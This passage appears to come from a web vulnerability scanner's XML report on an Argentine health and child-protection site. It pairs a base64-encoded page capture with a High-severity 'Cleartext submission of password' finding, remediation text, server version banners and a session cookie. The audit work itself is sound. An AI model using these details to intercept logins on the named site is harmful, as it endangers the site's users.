Q2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
42 <responseRedirected>false</responseRedirected>
43 </requestresponse>
44 </issue>
45 <issue>
46 <serialNumber>7694445463187357696</serialNumber>
47 <type>3145984</type>
48 <name>Cleartext submission of password</name>
49 <host ip="200.20.20.201">http://www.example.org.ar</host>
50 <path><![CDATA[/]]></path>
51 <location><![CDATA[/]]></location>
52 <severity>High</severity>
53 <confidence>Certain</confidence>
54 <issueBackground><![CDATA[Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches. ]]></issueBackground>
55 <remediationBackground><![CDATA[The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.]]></remediationBackground>
56 <issueDetail><![CDATA[The page contains a form with the following action URL, which is submitted over clear-text HTTP:<ul><li>http://www.example.org.ar/login.php</li></ul>The form contains the following password field:<ul><li>pass</li></ul>]]></issueDetail>
57 <requestresponse>
58 <request base64="true"><![CDATA[R0VUIC8gSFRUUC8xLjENCkhvc3Q6IHd3dy5zYWx1ZGFjdGl2YS5vcmcuYXINClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwLjg7IHJ2OjIzLjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjMuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgNCkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo=]]></request>
59 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjEyOjAyIEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KU2V0LUNvb2tpZTogUEhQU0VTU0lEPTk0NTg1YWEwYzExY2YyZTg2NGQ4M2UyNDY3OGI5ODY1OyBwYXRoPS8NCktlZXAtQWxpdmU6IHRpbWVvdXQ9MjAsIG1heD0yMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxo